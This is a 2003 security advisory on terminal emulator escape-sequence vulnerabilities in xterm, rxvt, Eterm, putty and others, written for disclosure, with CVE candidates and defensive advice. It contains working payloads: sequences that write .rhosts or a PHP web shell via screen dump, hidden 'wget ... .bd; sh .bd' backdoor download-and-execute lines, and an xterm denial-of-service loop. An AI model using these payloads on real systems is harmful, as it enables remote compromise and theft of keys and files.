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Please see the attached document, also available at the following URL:
http://www.digitaldefense.net/labs/
=2D--------------------------------------------------------
TERMINAL EMULATOR SECURITY ISSUES
Copyright =A9 2003 Digital Defense Incorporated
All Rights Reserved
[ Table of Contents ]
=2D- Summary=20
=2D- Disclaimer=20
=2D- Escape Sequences=20
=2D- Remote Exploitation=20
=2D- Screen Dumping=20
=2D- Window Title Reporting
=2D- Miscellaneous Issues=20
=2D- Terminal Defense
=2D- Tested Emulator Versions
=2D- Vulnerability Index
=2D- A Fictitious Case Study
=2D- References
=2D- Credits
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TERMINAL EMULATOR SECURITY ISSUES
Copyright =A9 2003 Digital Defense Incorporated
All Rights Reserved
[ Table of Contents ]
=2D- Summary=20
=2D- Disclaimer=20
=2D- Escape Sequences=20
=2D- Remote Exploitation=20
=2D- Screen Dumping=20
=2D- Window Title Reporting
=2D- Miscellaneous Issues=20
=2D- Terminal Defense
=2D- Tested Emulator Versions
=2D- Vulnerability Index
=2D- A Fictitious Case Study
=2D- References
=2D- Credits
[ Summary ]
Many of the features supported by popular terminal emulator software can be=
abused=20
when un-trusted data is displayed on the screen. The impact of this abuse c=
an range from=20
annoying screen garbage to a complete system compromise. All of the issues =
below are=20
actually documented features, anyone who takes the time to read over the ma=
n pages or=20
source code could use them to carry out an attack.=20
[ Disclaimer ]
There is nothing new in this paper. The entire concept of exploiting a term=
inal by=20
supplying hostile input has been around for over 10 years now. Unix veteran=
s and BBS=20
users have been exposed to this type of problem since the very beginning, a=
newsgroup=20
search can turn up all sorts of exploits, from the ever-popular "flash" pro=
gram to the=20
abuse of logging features in xterm which were disabled in R5. Therefore the=
purpose of=20
this paper is to identify weaknesses in the current suite of popular termin=
al emulation=20
software, not to rehash an ancient problem.
[ Escape Sequences ]
Typically, an escape sequence is a series of characters starting with the A=
SCII escape=20
character (0x1B) and followed by a specific set of arguments. Escape sequen=
ces were=20
originally used to control display devices such as dumb terminals and have =
been extended
to allow various forms of interaction with modern operating systems. An esc=
ape sequence=20
might be used to change text attributes (color, weight), move the cursor po=
sition,=20
reconfigure the keyboard, update the window title, or manipulate the printe=
r. Over the=20
years, many new features have been added that required enhancements to the =
terminal=20
emulator applications to support them.=20
[ Remote Exploitation ]
To exploit an escape sequence feature, an attacker must be able to display =
arbitrary data=20
to the victim's terminal emulator. While at first glance that may seem rath=
er unlikely, the=20
attacker can take advantage of a number of small bugs in other applications=
to increase=20
their chance of success.
Just about every network service that uses syslog will pass remote data dir=
ectly to the=20
daemon without filtering the escape character. The responsibility then lays=
on the syslog=20
daemon to strip the escape code before writing the log entry to the disk or=
terminal. =20
Although both the stock *BSD syslog daemons as well the sysklogd package fi=
lter escape=20
sequences, msyslog, syslog-ng, and the logging daemons supplied with many c=
ommercial=20
UNIX-based operating systems do not.
While sending data directly to a vulnerable syslogd or rwalld service is th=
e most direct=20
form of attack, there are literally dozens of other ways to place hostile b=
inary data onto
the terminal of a remote user. The Apache web server makes an effort to cle=
an garbage =20
from its access logs, but it still allows escape characters to be injected =
into the error logs.
Many command-line network tools can be exploited by a hostile service respo=
nse, some=20
examples of this is include wget, curl, ftp, and telnet.=20
Multi-user systems are especially vulnerable, as any user can send a system=
=2Dwide=20
message under the default configuration of most operating systems. Placing =
the attack=20
data into the banner of a popular FTP server, telnet service, or message of=
the day file=20
will increase the chance of finding a valid target. Certain console email c=
lients refuse to=20
display files when the content-type of an attachment is set to a unrecogniz=
ed value, so the=20
user must save the file and then read it on the command line, often just us=
ing the standard=20
"cat" utility.=20
[ Screen Dumping ]
=20
Eterm and rxvt both implement what they call the "screen dump" feature. Thi=
s escape =20
sequence will cause an arbitrary file to be opened and filled with the curr=
ent contents of=20
the terminal window. These are the only two tested emulators[1] that still =
had the ability=20
to write to files enabled by default. Although rxvt will ignore dump reques=
ts for existing=20
files, Eterm[2] will happily delete the file and then create it again. Alth=
ough it is=20
technically the same feature, the OSC code used to trigger it is different =
between the two=20
emulators. For rxvt, the screen dump code is 55, for Eterm, it is 30. It i=
s possible to=20
control the entire contents of the file by specifying the reset sequence, t=
hen the required=20
data, followed by the screen dump command.=20
$ echo -e "\ec+ +\n\e]<Code>;/home/user/.rhosts\a"
The same approach can be used to create an authorized_keys file for SSH, a =
replacement=20
passwd file, or even a hostile PHP script written to the user's web directo=
ry. This attack=20
requires no interaction on the part of the user and would be very difficult=
to detect if done=20
correctly. The primary difference between this issue and some of the others=
mentioned in=20
this paper is that the actual "exploitation" happens on the system running =
the emulator=20
software, not the current system that the terminal is accessing. The code t=
hat is =20
responsible for opening the dump file is shown below.=20
/* rxvt */=20
if ((fd =3D open(str, O_RDWR | O_CREAT | O_EXCL, 0600)) >=3D 0)=20
/* Eterm */=20
unlink(fname);
outfd =3D open(fname, O_CREAT | O_EXCL | O_NDELAY | O_WRONLY, S_IRUSR | S_I=
WUSR);
[1] XFree86's xterm disabled an equivalent feature in X11R5 due to security=
concerns. It=20
can still be enabled with a compile-time option.
[2] Eterm actually disabled this in 0.9.2 (October 31, 2002), however many =
recent Linux=20
distributions still shipped with 0.9.1.
[ Window Title Reporting ]
One of the features which most terminal emulators support is the ability fo=
r the shell to=20
set the title of the window using an escape sequence. This feature was orig=
inally=20
implemented by DEC for DECterm and has since been added to most emulators i=
n use=20
today. The easy way to set the window title of a terminal is using the echo=
command:
$ echo -e "\e]2;This is the new window title\a"
When the output of the above command is displayed on the terminal, it will =
set the=20
window title to that string. Setting the window title by itself is not much=
of a security=20
issue, however certain xterm variants (and dtterm) also provide an escape s=
equence for=20
reporting the current window title. This essentially takes the current titl=
e and places it=20
directly on the command line. Due to the way that most emulators processes =
the escape=20
sequence, it is not possible to embed a carriage return into the window tit=
le itself, so the=20
user would need to hit enter for it to process the title as a command. The =
escape sequence=20
for reporting the window title is:
$ echo -e "\e[21t"
At this point, the attacker needs to convince the user to hit enter for the=
"exploit" to=20
succeed. There are a number of techniques available to both hide the comman=
d and=20
encourage the user to "press enter to continue". The simplest is to just in=
sert a prompt=20
followed by the "invisible" character attribute right before reporting the =
title. Another=20
method is to set the foreground and background colors to be the same (all b=
lack or white)=20
and hope the user hits the enter key when trying to determine what happened=
=2E The=20
following example for xterm demonstrates a sequence that downloads and exec=
utes a=20
backdoor while hiding the command line. The "Press Enter >" string should b=
e changed=20
to something appropriate for the attack vector. Some likely candidates incl=
ude "wget=20
internal error: press enter to continue" or "Error: unknown TERM, hit enter=
to continue".
$ echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress E=
nter>\e[8m;"
Any terminal emulator that allows the window title to be placed on the comm=
and-line is=20
vulnerable to this attack. The applications which were confirmed vulnerable=
include=20
xterm, dtterm, uxterm, rxvt, aterm, Eterm, hanterm, and putty[1]. The teste=
d applications=20
that did not allow the title to be written include gnome-terminal 2.0, kons=
ole, SecureCRT,
and aterm.
[1] Although putty would place the title onto the command-line, we were not=
able to find=20
a method of hiding the command, since neither the "invisible" character att=
ribute nor the=20
foreground color could be set. Putty has a relatively low limit to the numb=
er of characters=20
that can be placed into the window title, so it is not possible to simply f=
lood the screen=20
with garbage and hope the command rolls past the current view.
[ Miscellaneous Issues ]
Eterm should be given an award for the "Easiest to Compromise" terminal emu=
lator. The=20
developers based much of their code off of the rxvt and xterm source, so Et=
erm tends to=20
share the same problems as those two emulators as well. If you happen to be=
running a =20
CVS version of Eterm from between February 10th and May 8th of 2001, it was=
possible=20
to execute an arbitrary command just by displaying the following escape seq=
uence:=20
$ echo -e "\e]6;73;command\a"
=20
=46ortunately, this feature never made it into an official release, the "fo=
rk-and-exec" ability=20
was replaced by the script action spawn() instead.=20
During the research process, a number of small bugs were found that would e=
ither lock=20
up the emulator completely or crash it. Although they can be disregarded as=
simple denial=20
of service attacks, they could be abused to prevent an administrator from s=
eeing =20
subsequent logs during a compromise. In general, the code which processed a=
pplication-
side input seemed to place little emphasis on sanitizing the data before pa=
ssing it directly=20
to system-level functions. While there was some effort made to avoid standa=
rd buffer =20
overflows, much of the loop-based character processing appeared ripe for a =
denial of=20
service attack. An example of this is a bug in the DEC UDK processing of XF=
ree86's=20
xterm application, the following command will place the process into a tigh=
t resource-
eating loop:
$ echo -e "\eP0;0|0A/17\x9c"
This bug was reported to xfree86@xfree86.org on December 17th, 2002 and no =
response=20
was received as of the publication of this writing. The hanterm application=
is also=20
vulnerable to this issue, as the code base started off as a direct copy of =
xterm.
Both rxvt and aterm support a feature known as the menuBar. This feature al=
lows the user=20
to create drop-down menus at the top of the terminal screen using both menu=
=20
configuration files and escape sequences. Anyone able to display data on th=
e terminal =20
could modify the menu entries in a way that would compromise the system whe=
n=20
accessed. This type of attack relies more on social engineering, but still =
provides a=20
potential entry point when nothing else is available. The example below wil=
l create a new=20
top-level menu item called "Special" with a single item labeled "Access", w=
hen clicked it=20
will download and execute a backdoor from http://127.0.0.1/.bd and exit the=
shell.
$ echo -e "\e]10;[:/Special/{Access} wget 127.0.0.1/.bd\rsh bd\rexit\r:]\a=
\e]10;[show]\a"
[ Terminal Defense ]
The ideal solution is to sanitize all data before displaying it on your ter=
minal, however=20
without a custom terminal application or data filter, you can't guarantee t=
hat every tool=20
you use on the command-line is going to strip escape sequences. The respons=
ibility=20
should rest on the actual terminal emulator; any features that allow file o=
r command-line=20
access should be disabled by default and more attention should be paid to n=
ew features=20
that implement any use of escape sequences.
The tested terminal emulators that were not susceptible to the screen dump =
or window=20
title attacks include KDE's konsole, Gnome's gnome-terminal, Vandyke's Secu=
reCRT,=20
and Sasha Vasko's aterm. Konsole and gnome-terminal each use their own inde=
pendent=20
code-base and didn't try to support the same massive feature set as the oth=
ers. =20
SecureCRT took a similar approach, emulating just the minimum needed to be =
usable.=20
With aterm, the code was originally based on rxvt, however many of the dang=
erous=20
features were removed as the project progressed.
[ Test Emulator Versions ]
xterm: xf86 4.2.0 (patch 165)
aterm: 0.42
rxvt: 2.7.8
Eterm: 0.9.1
konsole: 3.1.0 rc5
putty: 0.53
SecureCRT: 3.4.6
gnome-terminal: 2.0.2 (libzvt 2.0.1) [2.2 indirectly]
hanterm-xf: 2.0
[ Vulnerability Index ]
The Common Vulnerabilities and Exposures project (cve.mitre.org) has assign=
ed CVE=20
candidate namess for all issues described in this paper.=20
CAN-2003-0020 Apache Error Log Escape Sequence Injection
CAN-2003-0021 Screen Dump: Eterm=20
CAN-2003-0022 Screen Dump: rxvt
CAN-2003-0063 Window Title Reporting: xterm=20
CAN-2003-0064 Window Title Reporting: dtterm
CAN-2003-0065 Window Title Reporting: uxterm
CAN-2003-0066 Window Title Reporting: rxvt
CAN-2003-0067 Window Title Reporting: aterm
CAN-2003-0068 Window Title Reporting: eterm
CAN-2003-0069 Window Title Reporting: putty
CAN-2003-0070 Window Title Reporting: gnome-terminal
CAN-2003-0078 Window Title Reporting: hanterm-xf
CAN-2003-0071 DEC UDK Processing DoS: xterm
CAN-2003-0079 DEC UDK Processing DoS: hanterm-xf
CAN-2003-0023 Menubar Manipulation: rxvt
CAN-2003-0024 Menubar Manipulation: aterm
[ A Fictitious Case Study ]
Jim is the sole administrator for the web server farm at a moderately sized=
ISP. Most of=20
his company's clients maintain their own sites and Jim's primary responsibi=
lity is to keep=20
the web servers online and secured. Jim spends some of his spare time dabb=
ling with =20
PHP and uses his workstation as his development system. The workstation is =
on the same=20
network segment as the rest of the servers and the firewall only allows TCP=
port 80 and=20
443 inbound. Jim has a new 2.5Ghz P4 and finally has enough processing powe=
r to run=20
the Enlightenment window manager with all the tweaks. His favorite part abo=
ut=20
Enlightenment is the terminal emulator, Eterm, which lets him make the back=
ground=20
transparent and do all sorts of imaging tricks. Jim keeps a tail process ru=
nning for the=20
error_log files on each server he manages, allowing him to easily spot scri=
pt bugs and=20
misconfigurations before the customer calls him to fix it.=20
Andre is pissed. Some "friends" from his old hacking group have posted some=
=20
embarrassing photos of him on the group's home page. The page is hosted in =
the ~user=20
directory on a web server at some dinky ISP his old friend uses. He starts =
poking at the=20
web server only to give up about 30 minutes later after failing to find a s=
ingle vulnerable=20
CGI or outdated service. He starts up Nmap again, this time on the whole c=
lass C that the=20
web server resides in, determined to take down the entire subnet if he has =
to. He finds=20
another web server, this one is running a traceroute gateway that is vulner=
able to meta-
character injection. Andre manages to get an outbound shell back to a bounc=
e system and=20
proceeds to poke around. He finds what appears to be an OpenSSH public key =
in the /tmp=20
directory, named JimH.pub. Looking at the key file, he sees that the userid=
stored in it is=20
for jim@jimsbox.weeisp.com. A quick check shows that jimsbox.weeisp.com not=
only=20
resolves to an external address, but is also running a web server.=20
The index page of Jim's web server consists of a couple pictures of him, so=
me links to his=20
favorite news sites, some screenshots of his new super-leet desktop, and so=
me of his=20
latest PHP projects. The first PHP project link Andre clicks on immediately=
starts=20
spewing errors, complaining about not being able to connect to the database=
=2E The error=20
message itself is interesting though, since it contains the full path to th=
e script that=20
triggered the error. Andre makes a quick note of this and keeps digging aro=
und, hoping=20
for an easy entry point. As soon as he pulls up the desktop screen shots, h=
e knows he=20
struck gold. The screen shot not only shows a scantily clad Italian model i=
n the=20
background, but an Eterm open tailing the logs of the same server his pictu=
res are being=20
served from. He gets to work, hitting the workstation with every tool he ca=
n find, but an=20
hour later he still hasn't busted a shell. While looking through the screen=
shots again,=20
Andre gets the idea to look at the Eterm documentation and see what other f=
eatures it=20
supports. Not only is the documentation easy to read with plenty of example=
s, but it=20
mentions an interesting feature described as a "screen dump".
About two hours later, Andre finally manages to get Eterm and its 60 megaby=
tes of =20
support libraries compiled. He discovers that to force Eterm to write out a=
file, all he has=20
to do is display a certain sequence of characters to the screen. The questi=
on now is how to=20
get those characters onto that Eterm at 4:30 in the morning. After a quick =
review of the=20
Apache source code, he finally finds a spot in the error handling code wher=
e he can inject=20
arbitrary data into the log files. All he has to do is send a request for a=
file with the escape
sequence he wants to use and Apache will write the unfiltered data directly=
to the log file.=20
Now that he can write arbitrary files to the workstation, he has to find a =
method of using=20
it to gain access. Andre is pretty sure that the workstation is running SSH=
, but the only=20
ports available are 80 and 443. He remembers that the PHP errors he saw ear=
lier provided=20
the full path to the web root, if he can write files there, then he run com=
mands through the=20
web server. Five minutes later, Andre is connecting to the target web serve=
r and sending=20
a GET request for a string generated with the following command:
$ echo -e "\ec<?passthru($c);?>\e]30;/home/www/htdocs/owned.php\a"
This command clears the current screen buffer, displays his hostile PHP cod=
e to the=20
screen, and then uses the screen dump command to write it into the web root=
=2E He points=20
his browser to http://jimsbox.weeisp.com/owned.php?c=3Did and starts the pr=
ocess of =20
rooting Jim's workstation, stealing his SSH keys, and taking those horrid p=
ictures (as well=20
as the rest of the group's files) off of that web server.
[ References ]
This Paper and Associated Tools
=2D-- http://www.digitaldefense.net/labs/whitepapers.html
=2D-- http://www.digitaldefense.net/labs/securitytools.html
Recognized Escape Sequences
=2D-- Eterm: http://www.eterm.org/docs/view.php?doc=3Dref
=2D-- xterm: http://rtfm.etla.org/xterm/ctlseq.html
=2D-- dtterm: http://hpc.uky.edu/cgi-bin/man.cgi?s...&topic=3Ddtte=
rm
=2D-- rxvt: http://www.rxvt.org/refer/rxvtRef.html
Solar Designer's Post on Syslog Filtering
=2D-- http://marc.theaimsgroup.com/?l=3Dbu...96938656931350
ADM's "The Evil Escape Sequences"
=2D-- http://www.attrition.org/security/ad...l.esc.advisory
AmigaOS Escape Sequence Exploits
=2D-- http://www.abraxis.co.uk/SA-2001-11-08.html
MS-DOS/Windows Key Redefinition
=2D-- http://lists.insecure.org/lists/bugt.../Jul/0029.html
Multiple Emulator Window Resize DoS
=2D-- http://archives.neohapsis.com/archiv...0-05/0409.html
=2D-- http://groups.google.com/groups?selm...75I-00%40ixion
The Original "Flash"
=2D-- http://www.parallaxresearch.com/file...ploits/flash.c
=2D-- http://groups.google.com/groups?selm...40news.ysu.edu
=2D-- http://www.phrack-dont-give-a-shit-a....php?p=3D47&a=
=3D4
[ Credits ]
This paper was written by H D Moore, with much help from the rest of the Di=
gital=20
Defense Operations Team. I would like to thank Solar Designer for providing=
some great=20
feedback on the original draft and Mark Cox for handling the CVE candidate =
generation=20
and vendor coordination.
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